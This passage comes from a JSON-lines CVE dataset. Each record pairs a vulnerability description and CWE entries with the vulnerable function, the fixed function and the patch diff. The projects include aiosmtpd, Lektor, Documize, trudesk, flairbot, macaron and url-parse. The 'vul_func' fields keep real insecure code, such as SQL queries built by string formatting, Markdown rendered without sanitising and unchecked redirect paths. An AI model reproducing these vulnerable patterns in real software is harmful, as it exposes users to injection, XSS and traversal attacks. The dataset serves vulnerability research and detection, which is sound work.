else:\n            content = original_content\n        self.envelope.content = content\n        self.envelope.original_content = original_content\n\n        # Call the new API first if it's implemented.\n        if \"DATA\" in self._handle_hooks:\n            status = await self._call_handler_hook('DATA')\n        else:\n            # Backward compatibility.\n            status = MISSING\n            if hasattr(self.event_handler, 'process_message'):\n                warn('Use handler.handle_DATA() instead of .process_message()',\n                     DeprecationWarning)\n                assert self.session is not None\n                args = (self.session.peer, self.envelope.mail_from,\n                        self.envelope.rcpt_tos, self.envelope.content)\n                if asyncio.iscoroutinefunction(\n                        self.event_handler.process_message):\n                    status = await self.event_handler.process_message(*args)\n                else:\n                    status = self.event_handler.process_message(*args)\n                # The deprecated API can return None which means, return the\n                # default status.  Don't worry about coverage for this case as\n                # it's a deprecated API that will go away after 1.0.\n                if status is None:                  # pragma: nocover\n                    status = MISSING\n        self._set_post_data_state()\n        await self.push('250 OK' if status is MISSING else status)\n\n    # Commands that have not been implemented.\n    async def smtp_EXPN(self, arg: str):\n        await self.push('502 EXPN not implemented')"}, {"id": "fix_py_419_2", "commit": "24b6c79c8921cf1800e27ca144f4f37023982bbb", "file_path": "aiosmtpd/smtp.py", "start_line": 90, "end_line": 90, "snippet": "NEWLINE = '\\r\\n'"}], "vul_patch": "--- a/aiosmtpd/smtp.py\n+++ b/aiosmtpd/smtp.py\n@@ -22,9 +22,10 @@\n             # Since eof_received cancels this coroutine,\n             # readuntil() can never raise asyncio.IncompleteReadError.\n             try:\n-                line: bytes = await self._reader.readuntil()\n+                # https://datatracker.ietf.org/doc/html/rfc5321#section-2.3.8\n+                line: bytes = await self._reader.readuntil(b'\\r\\n')\n                 log.debug('DATA readline: %s', line)\n-                assert line.endswith(b'\\n')\n+                assert line.endswith(b'\\r\\n')\n             except asyncio.CancelledError:\n                 # The connection got reset during the DATA command.\n                 log.info('Connection lost during DATA')\n@@ -41,7 +42,7 @@\n                 data *= 0\n                 # Drain the stream anyways\n                 line = await self._reader.read(e.consumed)\n-                assert not line.endswith(b'\\n')\n+                assert not line.endswith(b'\\r\\n')\n             # A lone dot in a line signals the end of DATA.\n             if not line_fragments and line == b'.\\r\\n':\n                 break\n@@ -53,7 +54,7 @@\n                 # Discard data immediately to prevent memory pressure\n                 data *= 0\n             line_fragments.append(line)\n-            if line.endswith(b'\\n'):\n+            if line.endswith(b'\\r\\n'):\n                 # Record data only if state is \"NOMINAL\"\n                 if state == _DataState.NOMINAL:\n                     line = EMPTY_BARR.join(line_fragments)\n\n--- a/aiosmtpd/smtp.py\n+++ b/aiosmtpd/smtp.py\n@@ -1 +1 @@\n-NEWLINE = '\\n'\n+NEWLINE = '\\r\\n'\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-28335", "cve_description": "Lektor before 3.3.11 does not sanitize DB path traversal. Thus, shell commands might be executed via a file that is added to the templates directory, if the victim's web browser accesses an untrusted website that uses JavaScript to send requests to localhost port 5000, and the web browser is running on the same machine as the \"lektor server\" command.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/lektor/lektor", "patch_url": ["https://github.com/lektor/lektor/commit/7393d87bd354e43120937789956175064e4610a0"], "programing_language": "Python", "vul_func": [{"id": "vul_py_182_1", "commit": "4b57312", "file_path": "lektor/editor.py", "start_line": 36, "end_line": 103, "snippet": "def make_editor_session(pad, path, is_attachment=None, alt=PRIMARY_ALT, datamodel=None):\n    \"\"\"Creates an editor session for the given path object.\"\"\"\n    if alt != PRIMARY_ALT and not pad.db.config.is_valid_alternative(alt):\n        raise BadEdit(\"Attempted to edit an invalid alternative (%s)\" % alt)\n\n    raw_data = pad.db.load_raw_data(path, cls=OrderedDict, alt=alt, fallback=False)\n    raw_data_fallback = None\n    if alt != PRIMARY_ALT:\n        raw_data_fallback = pad.db.load_raw_data(path, cls=OrderedDict)\n        all_data = OrderedDict()\n        all_data.update(raw_data_fallback or ())\n        all_data.update(raw_data or ())\n    else:\n        all_data = raw_data\n\n    id = posixpath.basename(path)\n    if not is_valid_id(id):\n        raise BadEdit(\"Invalid ID\")\n\n    record = None\n    exists = raw_data is not None or raw_data_fallback is not None\n    if raw_data is None:\n        raw_data = OrderedDict()\n\n    if is_attachment is None:\n        if not exists:\n            is_attachment = False\n        else:\n            is_attachment = bool(all_data.get(\"_attachment_for\"))\n    elif bool(all_data.get(\"_attachment_for\")) != is_attachment:\n        raise BadEdit(\n            \"The attachment flag passed is conflicting with the \"\n            \"record's attachment flag.\"\n        )\n\n    if exists:\n        # XXX: what about changing the datamodel after the fact?\n        if datamodel is not None:\n            raise BadEdit(\n                \"When editing an existing record, a datamodel must not be provided.\"\n            )\n        datamodel = pad.db.get_datamodel_for_raw_data(all_data, pad)\n    else:\n        if datamodel is None:\n            datamodel = pad.db.get_implied_datamodel(path, is_attachment, pad)\n        elif isinstance(datamodel, str):\n            datamodel = pad.db.datamodels[datamodel]\n\n    if exists:\n        record = pad.instance_from_data(dict(all_data), datamodel)\n\n    for key in implied_keys:\n        raw_data.pop(key, None)\n        if raw_data_fallback:\n            raw_data_fallback.pop(key, None)\n\n    return EditorSession(\n        pad,\n        id,\n        str(path),\n        raw_data,\n        raw_data_fallback,\n        datamodel,\n        record,\n        exists,\n        is_attachment,\n        alt,\n    )"}, {"id": "vul_py_182_2", "commit": "4b57312", "file_path": "lektor/utils.py", "start_line": 151, "end_line": 155, "snippet": "def untrusted_to_os_path(path):\n    path = path.strip(\"/\").replace(\"/\", os.path.sep)\n    if not isinstance(path, str):\n        path = path.decode(fs_enc, \"replace\")\n    return path"}], "fix_func": [{"id": "fix_py_182_1", "commit": "7393d87", "file_path": "lektor/editor.py", "start_line": 45, "end_line": 116, "snippet": "def make_editor_session(pad, path, is_attachment=None, alt=PRIMARY_ALT, datamodel=None):\n    \"\"\"Creates an editor session for the given path object.\"\"\"\n    if not _is_valid_path(path):\n        raise BadEdit(\"Invalid path\")\n    path = cleanup_path(path)\n\n    if alt != PRIMARY_ALT and not pad.db.config.is_valid_alternative(alt):\n        raise BadEdit(\"Attempted to edit an invalid alternative (%s)\" % alt)\n\n    raw_data = pad.db.load_raw_data(path, cls=OrderedDict, alt=alt, fallback=False)\n    raw_data_fallback = None\n    if alt != PRIMARY_ALT:\n        raw_data_fallback = pad.db.load_raw_data(path, cls=OrderedDict)\n        all_data = OrderedDict()\n        all_data.update(raw_data_fallback or ())\n        all_data.update(raw_data or ())\n    else:\n        all_data = raw_data\n\n    id = posixpath.basename(path)\n    if not is_valid_id(id):\n        raise BadEdit(\"Invalid ID\")\n\n    record = None\n    exists = raw_data is not None or raw_data_fallback is not None\n    if raw_data is None:\n        raw_data = OrderedDict()\n\n    if is_attachment is None:\n        if not exists:\n            is_attachment = False\n        else:\n            is_attachment = bool(all_data.get(\"_attachment_for\"))\n    elif bool(all_data.get(\"_attachment_for\")) != is_attachment:\n        raise BadEdit(\n            \"The attachment flag passed is conflicting with the \"\n            \"record's attachment flag.\"\n        )\n\n    if exists:\n        # XXX: what about changing the datamodel after the fact?\n        if datamodel is not None:\n            raise BadEdit(\n                \"When editing an existing record, a datamodel must not be provided.\"\n            )\n        datamodel = pad.db.get_datamodel_for_raw_data(all_data, pad)\n    else:\n        if datamodel is None:\n            datamodel = pad.db.get_implied_datamodel(path, is_attachment, pad)\n        elif isinstance(datamodel, str):\n            datamodel = pad.db.datamodels[datamodel]\n\n    if exists:\n        record = pad.instance_from_data(dict(all_data), datamodel)\n\n    for key in implied_keys:\n        raw_data.pop(key, None)\n        if raw_data_fallback:\n            raw_data_fallback.pop(key, None)\n\n    return EditorSession(\n        pad,\n        id,\n        str(path),\n        raw_data,\n        raw_data_fallback,\n        datamodel,\n        record,\n        exists,\n        is_attachment,\n        alt,\n    )"}, {"id": "fix_py_182_2", "commit": "7393d87", "file_path": "lektor/utils.py", "start_line": 151, "end_line": 156, "snippet": "def untrusted_to_os_path(path):\n    if not isinstance(path, str):\n        path = path.decode(fs_enc, \"replace\")\n    clean_path = cleanup_path(path)\n    assert clean_path.startswith(\"/\")\n    return clean_path[1:].replace(\"/\", os.path.sep)"}, {"id": "fix_py_182_3", "commit": "7393d87", "file_path": "lektor/editor.py", "start_line": 38, "end_line": 42, "snippet": "def _is_valid_path(path: str) -> bool:\n    split_path = path.strip(\"/\").split(\"/\")\n    if split_path == [\"\"]:\n        split_path = []\n    return parse_path(path) == split_path"}], "vul_patch": "--- a/lektor/editor.py\n+++ b/lektor/editor.py\n@@ -1,5 +1,9 @@\n def make_editor_session(pad, path, is_attachment=None, alt=PRIMARY_ALT, datamodel=None):\n     \"\"\"Creates an editor session for the given path object.\"\"\"\n+    if not _is_valid_path(path):\n+        raise BadEdit(\"Invalid path\")\n+    path = cleanup_path(path)\n+\n     if alt != PRIMARY_ALT and not pad.db.config.is_valid_alternative(alt):\n         raise BadEdit(\"Attempted to edit an invalid alternative (%s)\" % alt)\n \n\n--- a/lektor/utils.py\n+++ b/lektor/utils.py\n@@ -1,5 +1,6 @@\n def untrusted_to_os_path(path):\n-    path = path.strip(\"/\").replace(\"/\", os.path.sep)\n     if not isinstance(path, str):\n         path = path.decode(fs_enc, \"replace\")\n-    return path\n+    clean_path = cleanup_path(path)\n+    assert clean_path.startswith(\"/\")\n+    return clean_path[1:].replace(\"/\", os.path.sep)\n\n--- /dev/null\n+++ b/lektor/utils.py\n@@ -0,0 +1,5 @@\n+def _is_valid_path(path: str) -> bool:\n+    split_path = path.strip(\"/\").split(\"/\")\n+    if split_path == [\"\"]:\n+        split_path = []\n+    return parse_path(path) == split_path\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-19619", "cve_description": "domain/section/markdown/markdown.go in Documize before 3.5.1 mishandles untrusted Markdown content. This was addressed by adding the bluemonday HTML sanitizer to defend against XSS.", "cwe_info": {"CWE-79": {"name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "description": "The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users."}}, "repo": "https://github.com/documize/community", "patch_url": ["https://github.com/documize/community/commit/a4384210d4d0d6b18e6fdb7e155de96d4a1cf9f3"], "programing_language": "Go", "vul_func": [{"id": "vul_go_283_1", "commit": "68824912016c0ebff2a2a0943f360f11fd5f951b", "file_path": "domain/section/markdown/markdown.go", "start_line": 49, "end_line": 53, "snippet": "func (*Provider) Render(ctx *provider.Context, config, data string) string {\n\tresult := blackfriday.Run([]byte(data))\n\n\treturn string(result)\n}"}], "fix_func": [{"id": "fix_go_283_1", "commit": "a4384210d4d0d6b18e6fdb7e155de96d4a1cf9f3", "file_path": "domain/section/markdown/markdown.go", "start_line": 50, "end_line": 56, "snippet": "func (*Provider) Render(ctx *provider.Context, config, data string) string {\n\tunsafe := blackfriday.Run([]byte(data))\n\n\tsafe := bluemonday.UGCPolicy().SanitizeBytes(unsafe)\n\n\treturn string(safe)\n}"}], "vul_patch": "--- a/domain/section/markdown/markdown.go\n+++ b/domain/section/markdown/markdown.go\n@@ -1,5 +1,7 @@\n func (*Provider) Render(ctx *provider.Context, config, data string) string {\n-\tresult := blackfriday.Run([]byte(data))\n+\tunsafe := blackfriday.Run([]byte(data))\n \n-\treturn string(result)\n+\tsafe := bluemonday.UGCPolicy().SanitizeBytes(unsafe)\n+\n+\treturn string(safe)\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1718", "cve_description": "The trudesk application allows large characters to insert in the input field \"Full Name\" on the signup field which can allow attackers to cause a Denial of Service (DoS) via a crafted HTTP request in GitHub repository polonel/trudesk prior to 1.2.2. This can lead to Denial of service.", "cwe_info": {"CWE-190": {"name": "Integer Overflow or Wraparound", "description": "The product performs a calculation that can\n         produce an integer overflow or wraparound when the logic\n         assumes that the resulting value will always be larger than\n         the original value. This occurs when an integer value is\n         incremented to a value that is too large to store in the\n         associated representation. When this occurs, the value may\n         become a very small or negative number."}}, "repo": "https://github.com/polonel/trudesk", "patch_url": ["https://github.com/polonel/trudesk/commit/87e231e04495fb705fe1e03cb56fc4136bafe895"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_306_1", "commit": "4575ed79316b30db65acd1e14257672e61db95ab", "file_path": "src/models/user.js", "start_line": 90, "end_line": 113, "snippet": "userSchema.pre('save', function (next) {\n  var user = this\n\n  user.username = utils.sanitizeFieldPlainText(user.username.toLowerCase().trim())\n  user.email = utils.sanitizeFieldPlainText(user.email.trim())\n\n  if (user.fullname) user.fullname = utils.sanitizeFieldPlainText(user.fullname.trim())\n  if (user.title) user.title = utils.sanitizeFieldPlainText(user.title.trim())\n\n  if (!user.isModified('password')) {\n    return next()\n  }\n\n  bcrypt.genSalt(SALT_FACTOR, function (err, salt) {\n    if (err) return next(err)\n\n    bcrypt.hash(user.password, salt, function (err, hash) {\n      if (err) return next(err)\n\n      user.password = hash\n      return next()\n    })\n  })\n})"}], "fix_func": [{"id": "fix_js_306_1", "commit": "87e231e04495fb705fe1e03cb56fc4136bafe895", "file_path": "src/models/user.js", "start_line": 90, "end_line": 113, "snippet": "userSchema.pre('save', function (next) {\n  var user = this\n\n  user.username = utils.applyMaxShortTextLength(utils.sanitizeFieldPlainText(user.username.toLowerCase().trim()))\n  user.email = utils.sanitizeFieldPlainText(user.email.trim())\n\n  if (user.fullname) user.fullname = utils.applyMaxShortTextLength(utils.sanitizeFieldPlainText(user.fullname.trim()))\n  if (user.title) user.title = utils.applyMaxShortTextLength(utils.sanitizeFieldPlainText(user.title.trim()))\n\n  if (!user.isModified('password')) {\n    return next()\n  }\n\n  bcrypt.genSalt(SALT_FACTOR, function (err, salt) {\n    if (err) return next(err)\n\n    bcrypt.hash(user.password, salt, function (err, hash) {\n      if (err) return next(err)\n\n      user.password = hash\n      return next()\n    })\n  })\n})"}, {"id": "fix_js_306_2", "commit": "87e231e04495fb705fe1e03cb56fc4136bafe895", "file_path": "src/helpers/utils/index.js", "start_line": 20, "end_line": 25, "snippet": "const MAX_FIELD_TEXT_LENGTH = 255\nconst MAX_SHORT_FIELD_TEXT_LENGTH = 25\n\nmodule.exports.applyMaxShortTextLength = function (text) {\n  return text.toString().substring(0, MAX_SHORT_FIELD_TEXT_LENGTH)\n}"}], "vul_patch": "--- a/src/models/user.js\n+++ b/src/models/user.js\n@@ -1,11 +1,11 @@\n userSchema.pre('save', function (next) {\n   var user = this\n \n-  user.username = utils.sanitizeFieldPlainText(user.username.toLowerCase().trim())\n+  user.username = utils.applyMaxShortTextLength(utils.sanitizeFieldPlainText(user.username.toLowerCase().trim()))\n   user.email = utils.sanitizeFieldPlainText(user.email.trim())\n \n-  if (user.fullname) user.fullname = utils.sanitizeFieldPlainText(user.fullname.trim())\n-  if (user.title) user.title = utils.sanitizeFieldPlainText(user.title.trim())\n+  if (user.fullname) user.fullname = utils.applyMaxShortTextLength(utils.sanitizeFieldPlainText(user.fullname.trim()))\n+  if (user.title) user.title = utils.applyMaxShortTextLength(utils.sanitizeFieldPlainText(user.title.trim()))\n \n   if (!user.isModified('password')) {\n     return next()\n\n--- /dev/null\n+++ b/src/models/user.js\n@@ -0,0 +1,6 @@\n+const MAX_FIELD_TEXT_LENGTH = 255\n+const MAX_SHORT_FIELD_TEXT_LENGTH = 25\n+\n+module.exports.applyMaxShortTextLength = function (text) {\n+  return text.toString().substring(0, MAX_SHORT_FIELD_TEXT_LENGTH)\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-10026", "cve_description": "A vulnerability was found in tiredtyrant flairbot. It has been declared as critical. This vulnerability affects unknown code of the file flair.py. The manipulation leads to sql injection. The patch is identified as 5e112b68c6faad1d4699d02c1ebbb7daf48ef8fb. It is recommended to apply a patch to fix this issue. VDB-217618 is the identifier assigned to this vulnerability.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/tiredtyrant/flairbot", "patch_url": ["https://github.com/tiredtyrant/flairbot/commit/5e112b68c6faad1d4699d02c1ebbb7daf48ef8fb"], "programing_language": "Python", "vul_func": [{"id": "vul_py_149_1", "commit": "47206a3", "file_path": "flair.py", "start_line": 9, "end_line": 27, "snippet": "def dbLookup(msg):\n    if len(msg.split(',')) != 2:\n        #procura na lista de paises\n        query = 'SELECT id FROM paises WHERE nome == \"%s\"' % (msg)\n        cursor.execute(query)\n        if cursor.fetchone():\n            return True\n        else:\n            return False\n    else:\n        cidade = msg.split(',')[0].strip()\n        estado = msg.split(',')[1].strip()\n        #check cidade pertence ao estado\n        query = 'SELECT estados.id FROM municipios JOIN estados ON municipios.estados_id == estados.id WHERE municipios.nome == \"%s\" AND estados.uf == \"%s\";' % (cidade, estado)\n        cursor.execute(query)\n        if not cursor.fetchone():\n            return False\n            \n    return True"}], "fix_func": [{"id": "fix_py_149_1", "commit": "5e112b6", "file_path": "flair.py", "start_line": 9, "end_line": 27, "snippet": "def dbLookup(msg):\n    if len(msg.split(',')) != 2:\n        #procura na lista de paises\n        query = 'SELECT id FROM paises WHERE nome == ?;'\n        cursor.execute(query,(msg,))\n        if cursor.fetchone():\n            return True\n        else:\n            return False\n    else:\n        cidade = msg.split(',')[0].strip()\n        estado = msg.split(',')[1].strip()\n        #check cidade pertence ao estado\n        query = 'SELECT estados.id FROM municipios JOIN estados ON municipios.estados_id == estados.id WHERE municipios.nome == ? AND estados.uf == ?;'\n        cursor.execute(query,(cidade,estado))\n        if not cursor.fetchone():\n            return False\n            \n    return True"}], "vul_patch": "--- a/flair.py\n+++ b/flair.py\n@@ -1,8 +1,8 @@\n def dbLookup(msg):\n     if len(msg.split(',')) != 2:\n         #procura na lista de paises\n-        query = 'SELECT id FROM paises WHERE nome == \"%s\"' % (msg)\n-        cursor.execute(query)\n+        query = 'SELECT id FROM paises WHERE nome == ?;'\n+        cursor.execute(query,(msg,))\n         if cursor.fetchone():\n             return True\n         else:\n@@ -11,8 +11,8 @@\n         cidade = msg.split(',')[0].strip()\n         estado = msg.split(',')[1].strip()\n         #check cidade pertence ao estado\n-        query = 'SELECT estados.id FROM municipios JOIN estados ON municipios.estados_id == estados.id WHERE municipios.nome == \"%s\" AND estados.uf == \"%s\";' % (cidade, estado)\n-        cursor.execute(query)\n+        query = 'SELECT estados.id FROM municipios JOIN estados ON municipios.estados_id == estados.id WHERE municipios.nome == ? AND estados.uf == ?;'\n+        cursor.execute(query,(cidade,estado))\n         if not cursor.fetchone():\n             return False\n             \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-12666", "cve_description": "macaron before 1.3.7 has an open redirect in the static handler, as demonstrated by the http://127.0.0.1:4000//example.com/ URL.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/go-macaron/macaron", "patch_url": ["https://github.com/go-macaron/macaron/commit/addc7461c3a90a040e79aa75bfd245107a210245"], "programing_language": "Go", "vul_func": [{"id": "vul_go_200_1", "commit": "002c0ce", "file_path": "static.go", "start_line": 121, "end_line": 192, "snippet": "func staticHandler(ctx *Context, log *log.Logger, opt StaticOptions) bool {\n\tif ctx.Req.Method != \"GET\" && ctx.Req.Method != \"HEAD\" {\n\t\treturn false\n\t}\n\n\tfile := ctx.Req.URL.Path\n\t// if we have a prefix, filter requests by stripping the prefix\n\tif opt.Prefix != \"\" {\n\t\tif !strings.HasPrefix(file, opt.Prefix) {\n\t\t\treturn false\n\t\t}\n\t\tfile = file[len(opt.Prefix):]\n\t\tif file != \"\" && file[0] != '/' {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tf, err := opt.FileSystem.Open(file)\n\tif err != nil {\n\t\treturn false\n\t}\n\tdefer f.Close()\n\n\tfi, err := f.Stat()\n\tif err != nil {\n\t\treturn true // File exists but fail to open.\n\t}\n\n\t// Try to serve index file\n\tif fi.IsDir() {\n\t\t// Redirect if missing trailing slash.\n\t\tif !strings.HasSuffix(ctx.Req.URL.Path, \"/\") {\n\t\t\thttp.Redirect(ctx.Resp, ctx.Req.Request, ctx.Req.URL.Path+\"/\", http.StatusFound)\n\t\t\treturn true\n\t\t}\n\n\t\tfile = path.Join(file, opt.IndexFile)\n\t\tf, err = opt.FileSystem.Open(file)\n\t\tif err != nil {\n\t\t\treturn false // Discard error.\n\t\t}\n\t\tdefer f.Close()\n\n\t\tfi, err = f.Stat()\n\t\tif err != nil || fi.IsDir() {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tif !opt.SkipLogging {\n\t\tlog.Println(\"[Static] Serving \" + file)\n\t}\n\n\t// Add an Expires header to the static content\n\tif opt.Expires != nil {\n\t\tctx.Resp.Header().Set(\"Expires\", opt.Expires())\n\t}\n\n\tif opt.ETag {\n\t\ttag := GenerateETag(string(fi.Size()), fi.Name(), fi.ModTime().UTC().Format(http.TimeFormat))\n\t\tctx.Resp.Header().Set(\"ETag\", `\"`+tag+`\"`)\n\t}\n\n\thttp.ServeContent(ctx.Resp, ctx.Req.Request, file, fi.ModTime(), f)\n\treturn true\n}\n\n// GenerateETag generates an ETag based on size, filename and file modification time\nfunc GenerateETag(fileSize, fileName, modTime string) string {\n\tetag := fileSize + fileName + modTime\n\treturn base64.StdEncoding.EncodeToString([]byte(etag))\n}"}], "fix_func": [{"id": "fix_go_200_1", "commit": "addc7461c3a90a040e79aa75bfd245107a210245", "file_path": "static.go", "start_line": 121, "end_line": 193, "snippet": "func staticHandler(ctx *Context, log *log.Logger, opt StaticOptions) bool {\n\tif ctx.Req.Method != \"GET\" && ctx.Req.Method != \"HEAD\" {\n\t\treturn false\n\t}\n\n\tfile := ctx.Req.URL.Path\n\t// if we have a prefix, filter requests by stripping the prefix\n\tif opt.Prefix != \"\" {\n\t\tif !strings.HasPrefix(file, opt.Prefix) {\n\t\t\treturn false\n\t\t}\n\t\tfile = file[len(opt.Prefix):]\n\t\tif file != \"\" && file[0] != '/' {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tf, err := opt.FileSystem.Open(file)\n\tif err != nil {\n\t\treturn false\n\t}\n\tdefer f.Close()\n\n\tfi, err := f.Stat()\n\tif err != nil {\n\t\treturn true // File exists but fail to open.\n\t}\n\n\t// Try to serve index file\n\tif fi.IsDir() {\n\t\t// Redirect if missing trailing slash.\n\t\tredirPath := path.Clean(ctx.Req.URL.Path)\n\t\tif !strings.HasSuffix(redirPath, \"/\") {\n\t\t\thttp.Redirect(ctx.Resp, ctx.Req.Request, redirPath+\"/\", http.StatusFound)\n\t\t\treturn true\n\t\t}\n\n\t\tfile = path.Join(file, opt.IndexFile)\n\t\tf, err = opt.FileSystem.Open(file)\n\t\tif err != nil {\n\t\t\treturn false // Discard error.\n\t\t}\n\t\tdefer f.Close()\n\n\t\tfi, err = f.Stat()\n\t\tif err != nil || fi.IsDir() {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tif !opt.SkipLogging {\n\t\tlog.Println(\"[Static] Serving \" + file)\n\t}\n\n\t// Add an Expires header to the static content\n\tif opt.Expires != nil {\n\t\tctx.Resp.Header().Set(\"Expires\", opt.Expires())\n\t}\n\n\tif opt.ETag {\n\t\ttag := GenerateETag(string(fi.Size()), fi.Name(), fi.ModTime().UTC().Format(http.TimeFormat))\n\t\tctx.Resp.Header().Set(\"ETag\", `\"`+tag+`\"`)\n\t}\n\n\thttp.ServeContent(ctx.Resp, ctx.Req.Request, file, fi.ModTime(), f)\n\treturn true\n}\n\n// GenerateETag generates an ETag based on size, filename and file modification time\nfunc GenerateETag(fileSize, fileName, modTime string) string {\n\tetag := fileSize + fileName + modTime\n\treturn base64.StdEncoding.EncodeToString([]byte(etag))\n}"}], "vul_patch": "--- a/static.go\n+++ b/static.go\n@@ -29,8 +29,9 @@\n \t// Try to serve index file\n \tif fi.IsDir() {\n \t\t// Redirect if missing trailing slash.\n-\t\tif !strings.HasSuffix(ctx.Req.URL.Path, \"/\") {\n-\t\t\thttp.Redirect(ctx.Resp, ctx.Req.Request, ctx.Req.URL.Path+\"/\", http.StatusFound)\n+\t\tredirPath := path.Clean(ctx.Req.URL.Path)\n+\t\tif !strings.HasSuffix(redirPath, \"/\") {\n+\t\t\thttp.Redirect(ctx.Resp, ctx.Req.Request, redirPath+\"/\", http.StatusFound)\n \t\t\treturn true\n \t\t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0512", "cve_description": "Authorization Bypass Through User-Controlled Key in NPM url-parse prior to 1.5.6.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/unshiftio/url-parse", "patch_url": ["https://github.com/unshiftio/url-parse/commit/9be7ee88afd2bb04e4d5a1a8da9a389ac13f8c40"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_38_1", "commit": "82c4908", "file_path": "index.js", "start_line": 236, "end_line": 389, "snippet": "function Url(address, location, parser) {\n  address = trimLeft(address);\n\n  if (!(this instanceof Url)) {\n    return new Url(address, location, parser);\n  }\n\n  var relative, extracted, parse, instruction, index, key\n    , instructions = rules.slice()\n    , type = typeof location\n    , url = this\n    , i = 0;\n\n  //\n  // The following if statements allows this module two have compatibility with\n  // 2 different API:\n  //\n  // 1. Node.js's `url.parse` api which accepts a URL, boolean as arguments\n  //    where the boolean indicates that the query string should also be parsed.\n  //\n  // 2. The `URL` interface of the browser which accepts a URL, object as\n  //    arguments. The supplied object will be used as default values / fall-back\n  //    for relative paths.\n  //\n  if ('object' !== type && 'string' !== type) {\n    parser = location;\n    location = null;\n  }\n\n  if (parser && 'function' !== typeof parser) parser = qs.parse;\n\n  location = lolcation(location);\n\n  //\n  // Extract protocol information before running the instructions.\n  //\n  extracted = extractProtocol(address || '', location);\n  relative = !extracted.protocol && !extracted.slashes;\n  url.slashes = extracted.slashes || relative && location.slashes;\n  url.protocol = extracted.protocol || location.protocol || '';\n  address = extracted.rest;\n\n  //\n  // When the authority component is absent the URL starts with a path\n  // component.\n  //\n  if (\n    extracted.protocol === 'file:' && (\n      extracted.slashesCount !== 2 || windowsDriveLetter.test(address)) ||\n    (!extracted.slashes &&\n      (extracted.protocol ||\n        extracted.slashesCount < 2 ||\n        !isSpecial(url.protocol)))\n  ) {\n    instructions[3] = [/(.*)/, 'pathname'];\n  }\n\n  for (; i < instructions.length; i++) {\n    instruction = instructions[i];\n\n    if (typeof instruction === 'function') {\n      address = instruction(address, url);\n      continue;\n    }\n\n    parse = instruction[0];\n    key = instruction[1];\n\n    if (parse !== parse) {\n      url[key] = address;\n    } else if ('string' === typeof parse) {\n      if (~(index = address.indexOf(parse))) {\n        if ('number' === typeof instruction[2]) {\n          url[key] = address.slice(0, index);\n          address = address.slice(index + instruction[2]);\n        } else {\n          url[key] = address.slice(index);\n          address = address.slice(0, index);\n        }\n      }\n    } else if ((index = parse.exec(address))) {\n      url[key] = index[1];\n      address = address.slice(0, index.index);\n    }\n\n    url[key] = url[key] || (\n      relative && instruction[3] ? location[key] || '' : ''\n    );\n\n    //\n    // Hostname, host and protocol should be lowercased so they can be used to\n    // create a proper `origin`.\n    //\n    if (instruction[4]) url[key] = url[key].toLowerCase();\n  }\n\n  //\n  // Also parse the supplied query string in to an object. If we're supplied\n  // with a custom parser as function use that instead of the default build-in\n  // parser.\n  //\n  if (parser) url.query = parser(url.query);\n\n  //\n  // If the URL is relative, resolve the pathname against the base URL.\n  //\n  if (\n      relative\n    && location.slashes\n    && url.pathname.charAt(0) !== '/'\n    && (url.pathname !== '' || location.pathname !== '')\n  ) {\n    url.pathname = resolve(url.pathname, location.pathname);\n  }\n\n  //\n  // Default to a / for pathname if none exists. This normalizes the URL\n  // to always have a /\n  //\n  if (url.pathname.charAt(0) !== '/' && isSpecial(url.protocol)) {\n    url.pathname = '/' + url.pathname;\n  }\n\n  //\n  // We should not add port numbers if they are already the default port number\n  // for a given protocol. As the host also contains the port number we're going\n  // override it with the hostname which contains no port number.\n  //\n  if (!required(url.port, url.protocol)) {\n    url.host = url.hostname;\n    url.port = '';\n  }\n\n  //\n  // Parse down the `auth` for the username and password.\n  //\n  url.username = url.password = '';\n  if (url.auth) {\n    instruction = url.auth.split(':');\n    url.username = instruction[0];\n    url.password = instruction[1] || '';\n  }\n\n  url.origin = url.protocol !== 'file:' && isSpecial(url.protocol) && url.host\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  //\n  // The href is just the compiled result.\n  //\n  url.href = url.toString();\n}\n\n/**"}, {"id": "vul_js_38_2", "commit": "82c4908", "file_path": "index.js", "start_line": 402, "end_line": 488, "snippet": "function set(part, value, fn) {\n  var url = this;\n\n  switch (part) {\n    case 'query':\n      if ('string' === typeof value && value.length) {\n        value = (fn || qs.parse)(value);\n      }\n\n      url[part] = value;\n      break;\n\n    case 'port':\n      url[part] = value;\n\n      if (!required(value, url.protocol)) {\n        url.host = url.hostname;\n        url[part] = '';\n      } else if (value) {\n        url.host = 